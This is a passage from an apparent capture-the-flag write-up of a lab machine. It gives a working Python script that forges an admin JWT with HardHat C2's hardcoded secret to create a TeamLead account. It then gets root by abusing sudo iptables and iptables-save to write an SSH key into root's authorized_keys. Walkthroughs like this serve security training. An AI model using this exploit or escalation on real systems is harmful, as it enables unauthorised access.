* h2h3 [user-agent: curl/7.88.1]
* h2h3 [accept: */*]
* Using Stream ID: 1 (easy handle 0x55fb03427ce0)
> GET / HTTP/2
> Host: localhost:5000
> user-agent: curl/7.88.1
> accept: */*
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
< HTTP/2 404
< date: Sat, 08 Feb 2025 10:50:10 GMT
< server: Kestrel
< content-length: 0
<
* Connection #0 to host localhost left intact
Port forward both the ports.
ssh -i id_rsa -L 5000:127.0.0.1:5000 ilya@10.10.11.49
ssh -i id_rsa -L 7096:127.0.0.1:7096 ilya@10.10.11.49
Shell - sergej [ Hardhat Authentication Bypass ]
HardHat C2 is a cross-platform, collaborative Command & Control (C2) framework developed in C#. It is designed primarily for red-team engagements and penetration testing, aiming to improve the quality of life factors during engagements by providing an easy-to-use but still robust C2 framework.

The JWT token can be created with Administrator and TeamLead role which is used to authenticate into HardHat C2 without valid passowrd. The PoC is posted in Medium, showing the HardHat Authentication Bypass. The PoC contains the python
script which we are going to use.
import jwt
import datetime
import uuid
import requests
rhost = '127.0.0.1:5000'
# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()
expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "sth_pentest",
"role": "TeamLead",
"username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
Execute the above python
script
python
scriptpython3 hardhat_exp.py
Generated JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJIYXJkSGF0X0FkbWluIiwianRpIjoiMDFjNDgzNWEtMjdkNC00MjM5LWE2OWUtOTk3ZjhiM2JlMDFlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvbmFtZWlkZW50aWZpZXIiOiIxIiwiaXNzIjoiaGFyZGhhdGMyLmNvbSIsImF1ZCI6ImhhcmRoYXRjMi5jb20iLCJpYXQiOjE3MzkwMzc5NzUsImV4cCI6MTc0MTQ1NzE3NSwiaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93cy8yMDA4LzA2L2lkZW50aXR5L2NsYWltcy9yb2xlIjoiQWRtaW5pc3RyYXRvciJ9.bEucxY6Q5lPSz-HOzcYlAdqb9l5zjMhPxkY-g8g_O4I
/usr/lib/python3/dist-packages/urllib3/connectionpool.py:1053: InsecureRequestWarning: Unverified HTTPS request is being made to host '127.0.0.1'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
warnings.warn(
User sth_pentest created
We can simply login now inputting username and password as sth_pentest with JWT token.
SSH as a sergej using ssh public key
ssh -i id_rsa sergej@10.10.11.49
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sat Feb 8 09:22:43 2025 from 10.10.14.32
sergej@backfire:~$
Shell - root [ iptables-save ]
The user sergej has a sudo
privilages to run iptables
and iptables-save
to privilege escalated and gain a shell as a root.
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User sergej may run the following commands on backfire:
(root) NOPASSWD: /usr/sbin/iptables
(root) NOPASSWD: /usr/sbin/iptables-save
sergej@backfire:~$
Generate the SSH Keypair
sergej@backfire:~$ ssh-keygen -t ed25519 -C "dexter@parrot"
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/sergej/.ssh/id_ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/sergej/.ssh/id_ed25519
Your public key has been saved in /home/sergej/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:hN7WzfcmcC344THEdkCPdPW2XDGL99ztrOKteOwP9hI dexter@parrot
The key's randomart image is:
+--[ED25519 256]--+
| .+o+|
| . o.==|
| . . .=o*|
| . o . o +o=*|
| . S . = Bo*|
| . E* O |
| .o.+ =|
| o=+ + |
| .++== |
+----[SHA256]-----+
Adding SSH via Firewall Comments
sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment "$(printf '\n%s\n' "$(cat /home/sergej/.ssh/id_ed25519.pub)"; echo '\n')"
sergej@backfire:~$ sudo /usr/sbin/iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJc1c87emzPTmtAJvbaq9ek8yc8/kEDiaUVu9/+nrKJ dexter@parrot
\\n" -j ACCEPT
Save the Firewall rules and ssh into root
sergej@backfire:~$ sudo iptables-save -f /root/.ssh/authorized_keys
sergej@backfire:~$ ssh -i .ssh/id_ed25519 root@localhost
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Sat Feb 8 09:33:12 2025 from 10.10.14.32
root@backfire:~#
Last updated